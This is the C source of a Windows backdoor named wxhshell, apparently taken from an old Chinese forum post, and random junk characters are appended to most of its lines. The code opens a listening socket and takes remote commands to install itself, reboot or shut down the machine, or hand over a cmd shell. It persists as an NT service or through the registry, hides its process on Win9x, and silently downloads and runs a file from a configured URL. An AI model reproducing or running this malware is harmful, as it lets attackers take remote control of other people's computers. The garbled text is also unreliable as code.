  } 0u2uYiE-l  
  else { yVzg<%CR^  
:G/]rDtd  
    switch(cmd[0]) { 7g+]  
  uf] $@6)  
  // 帮助 vyGLn  
  case '?': { va2A@U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IQ~7vk()  
    break; mkzk$_  
  } e}AJxBE  
  // 安装 X(28 xbd|  
  case 'i': { ;NeEgqW "  
    if(Install()) MiM=fIuw@s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?ovGYzUZ  
    else  o f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DNBpIC5&6  
    break; BK SK@OV  
    } f`=T@nA  
  // 卸载 ^VPl>jTg  
  case 'r': { dvF48,kr  
    if(Uninstall()) n ]}2O 4j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?<^AXLiKV  
    else ?I#hrv@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  WPKTX,k  
    break; @6'E8NFl  
    } #2ASzCe  
  // 显示 wxhshell 所在路径 '$-,;vnP0  
  case 'p': { *r$.1nke  
    char svExeFile[MAX_PATH]; +Z2<spqG  
    strcpy(svExeFile,"\n\r"); KXCmCn  
      strcat(svExeFile,ExeFile); Q9tE^d+%  
        send(wsh,svExeFile,strlen(svExeFile),0); qFbUM;  
    break; ;o459L>sW  
    } w1(06A}/  
  // 重启 v} ;qMceJ  
  case 'b': { X$Vz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $50"3g!Y  
    if(Boot(REBOOT)) _5 tqO5'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]GKx[F{)  
    else { ) '`AX\  
    closesocket(wsh); f<p4Pkv  
    ExitThread(0); <>Ddxmw  
    } ,!u@:UBT  
    break; i9k]Q(o  
    } ~7WXjVZ  
  // 关机 .|`=mx  
  case 'd': { >=:T ZU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e`M]ZG rr  
    if(Boot(SHUTDOWN)) 9Ru%E>el-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9|A-oS  
    else { &ntP~!w  
    closesocket(wsh); | 8Egw-f  
    ExitThread(0); bRz^=  
    } RXS|-_$  
    break; sxwW9_C  
    } }Rxg E~ F  
  // 获取shell Ss! 3{VW  
  case 's': { gLMea:  
    CmdShell(wsh); Rue|<d1  
    closesocket(wsh); ^WW|AS  
    ExitThread(0); q}v04Yy,o  
    break; )-:eQ{st`  
  } ;VlZd*M?  
  // 退出 lc?mKW9  
  case 'x': { #IGoz|m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m?% H<4X  
    CloseIt(wsh); >VUQTg  
    break; nk|N.%E  
    } GKujDx+h  
  // 离开 jl-Aos"/  
  case 'q': { JBEgiQ/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W%9K5(e  
    closesocket(wsh); zo7XmUI3P  
    WSACleanup(); ])j|<W/  
    exit(1); \M"^Oe{Dy?  
    break; X >Xp&o  
        }  QXxLe*  
  } jvc?hUcLKT  
  } xD= qU  
OG^WZ.YU  
  // 提示信息 ;(0(8G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^HlLj#  
} %*6oUb  
  } % X ,B-h^  
m9<%v0r  
  return; #+Yp^6zg  
} Sa?5iFg  
syW9Hlm  
// shell模块句柄 M?~<w)L}  
int CmdShell(SOCKET sock) `KJYm|@i  
{ {[t"O u  
STARTUPINFO si; n]C%(v!u3  
ZeroMemory(&si,sizeof(si)); =Q8H]F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8Z4?X%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P-OPv%jyi  
PROCESS_INFORMATION ProcessInfo; &QOWW}  
char cmdline[]="cmd"; *&dW\fx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q]i(CaKh  
  return 0; P 5qa:<  
} 9oz(=R  
<K#'3&*$s  
// 自身启动模式 (4 /]dTb  
int StartFromService(void) W93JY0Ls9|  
{ &I}T<v{f  
typedef struct Q),3&4pM  
{ >4|c7z4  
  DWORD ExitStatus; lKV\1(`  
  DWORD PebBaseAddress; jq("D,  
  DWORD AffinityMask; ,v}?{p c  
  DWORD BasePriority; XHZ: mLf  
  ULONG UniqueProcessId; Q%n{*py  
  ULONG InheritedFromUniqueProcessId; +r-dr>&H@  
}   PROCESS_BASIC_INFORMATION; Rg?{?qK\K  
S\3AW,c]w  
PROCNTQSIP NtQueryInformationProcess; l4mUx`!  
b%[ nB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EAD0<I<>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u3*NO )O  
$vTAF-~Ql  
  HANDLE             hProcess; $\,BpZ }3  
  PROCESS_BASIC_INFORMATION pbi; W`Q$t56  
Hw?2XDv j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,u&tB|,W,  
  if(NULL == hInst ) return 0; QlRoe| {  
X<Th{kM2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T}t E/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {7=WU4$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'ybth  
$W/+nmb)@K  
  if (!NtQueryInformationProcess) return 0; ."IJmv  
~3'RW0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z#{ 0;t  
  if(!hProcess) return 0; 0;FqX*  
t/d',Khg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U R1JbyT  
B.22 DuE#  
  CloseHandle(hProcess); ]{,Gf2v;;d  
*^@#X-NG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2&.n  
if(hProcess==NULL) return 0; =sE2}/g  
#*Yi4Cn<  
HMODULE hMod; Y^f94s:2S  
char procName[255]; $!|8g`Tm  
unsigned long cbNeeded; .# 6n  
JO2ZS6k[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7b&JX'`Mb  
#+K Kvk  
  CloseHandle(hProcess); )D[ "M$ZA^  
cBLR#Yu;O5  
if(strstr(procName,"services")) return 1; // 以服务启动 AXl!cgi  
j{{~ZM  
  return 0; // 注册表启动 t['k%c  
} 'dIX=/RZ  
;-KA UgL2  
// 主模块 >d8x<|D  
int StartWxhshell(LPSTR lpCmdLine) b^[W_y  
{ *L%6qxl`V  
  SOCKET wsl; %RQC9!  
BOOL val=TRUE; f0 uUbJ5  
  int port=0; eVw\v#gd  
  struct sockaddr_in door; [j)\v^m  
.M9d*qp`S  
  if(wscfg.ws_autoins) Install(); }+9 1s'/c  
j+DE|Q&]I  
port=atoi(lpCmdLine); 3h9Sz8  
ORGv)>C|  
if(port<=0) port=wscfg.ws_port; bQ-Gp;]  
E`Jp(gK9F  
  WSADATA data; tZaD${  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {OB-J\7Y  
+}_Pf{MW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J [ YtA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |SGgy|/a#  
  door.sin_family = AF_INET; (Wd_G-da  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nu&_gF,{  
  door.sin_port = htons(port); 1t/dxB;  
W@I 02n2 H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q>_vE{UB  
closesocket(wsl); =n@F$/h  
return 1; 0a"igH}  
} D JLiZS  
vkd[: CC  
  if(listen(wsl,2) == INVALID_SOCKET) { B4]AFRI  
closesocket(wsl); , CJAzGBS  
return 1; )W&o?VRfO  
} GWF/[%  
  Wxhshell(wsl); qbS'|--wH  
  WSACleanup(); &/Eg2  
QS3U)ZO$@  
return 0; ]43alf F#  
uYFMv=>j  
} %1Bn_  
[Q4_WKI0T  
// 以NT服务方式启动 wYZT D*A2h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C=fsJ=a5;  
{ Z?m -&%  
DWORD   status = 0; ipG5l  
  DWORD   specificError = 0xfffffff; x|]\1sb"  
?h/xAl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e8$l0gzaD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; drW~)6Lr@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KK?Zm_  
  serviceStatus.dwWin32ExitCode     = 0; 9mam ~)_ |  
  serviceStatus.dwServiceSpecificExitCode = 0; r& vFikIz  
  serviceStatus.dwCheckPoint       = 0; IQ ){(Y  
  serviceStatus.dwWaitHint       = 0; nD7|8,'  
gks ==|s.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bf& }8I$  
  if (hServiceStatusHandle==0) return; _p\629`  
kmryu=  
status = GetLastError(); =EQJqj1T  
  if (status!=NO_ERROR) i.3cj1  
{ 3pvYi<<D'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !X^Hi=aV  
    serviceStatus.dwCheckPoint       = 0; :6XguU  
    serviceStatus.dwWaitHint       = 0; /\na;GI$  
    serviceStatus.dwWin32ExitCode     = status; M70c{s`w5  
    serviceStatus.dwServiceSpecificExitCode = specificError; 94\t1fE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2ck 4C/ h  
    return; pX@Si3G`  
  } g %f*ofb  
&J_Z~^   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vu=me?m?(  
  serviceStatus.dwCheckPoint       = 0; N;uUx#z  
  serviceStatus.dwWaitHint       = 0; MR`:5e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1%%'6cWWu  
} WzjL-a(  
yQ9ZhdQS  
// 处理NT服务事件,比如:启动、停止 Mtm/}I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pe9@N9_5  
{ d')-7C  
switch(fdwControl) }^9]jSq5  
{ l71 gf.4g  
case SERVICE_CONTROL_STOP: 9Gca6e3  
  serviceStatus.dwWin32ExitCode = 0; - a y5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O`WIkBV!  
  serviceStatus.dwCheckPoint   = 0; >&OUGu|  
  serviceStatus.dwWaitHint     = 0; #/|75 4]]  
  { ['z!{Ez  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n|Pr/ddL   
  }  ?>af'o:  
  return; &-M]xo ^  
case SERVICE_CONTROL_PAUSE: f|U0s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; baee?6  
  break; +iy7e6P  
case SERVICE_CONTROL_CONTINUE: ` @8`qXg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X APYpBgm  
  break; ~4\,&HH  
case SERVICE_CONTROL_INTERROGATE: P"1 S$oc  
  break; [8"ojhdV  
}; #Z\ O}<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cp#)wxi6[y  
} A3HF,EG  
{XgnZ`*  
// 标准应用程序主函数 c"7j3/p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V  }>n  
{ RsW9:*R  
Rs*v m  
// 获取操作系统版本 $<|ocUC7  
OsIsNt=GetOsVer(); X eoJ$PfT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9XX>A*  
\?DR s  
  // 从命令行安装 k6!4Zz_8  
  if(strpbrk(lpCmdLine,"iI")) Install(); (DDyK[t+VX  
*XbI#L%>  
  // 下载执行文件 w(j^ccPD  
if(wscfg.ws_downexe) { ,`32!i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GMW,*if8p  
  WinExec(wscfg.ws_filenam,SW_HIDE); N L'R\R  
} HRB[GP+  
fTq C:r|st  
if(!OsIsNt) { o%[U  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z)pz,  
HideProc(); 2Vk\L~K  
StartWxhshell(lpCmdLine); F2 ~%zNe  
} g%xGOA  
else )4R:)-"f  
  if(StartFromService()) fr[3:2g-_  
  // 以服务方式启动 r[_4Lo @G  
  StartServiceCtrlDispatcher(DispatchTable); "CQw/qZw  
else |Ps% M|8~  
  // 普通方式启动 w8iR|TV  
  StartWxhshell(lpCmdLine); @*MC/fe  
FB:<zmwR  
return 0; #z!^ <,  
}
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只看该作者 1 发表于: 2006-10-10
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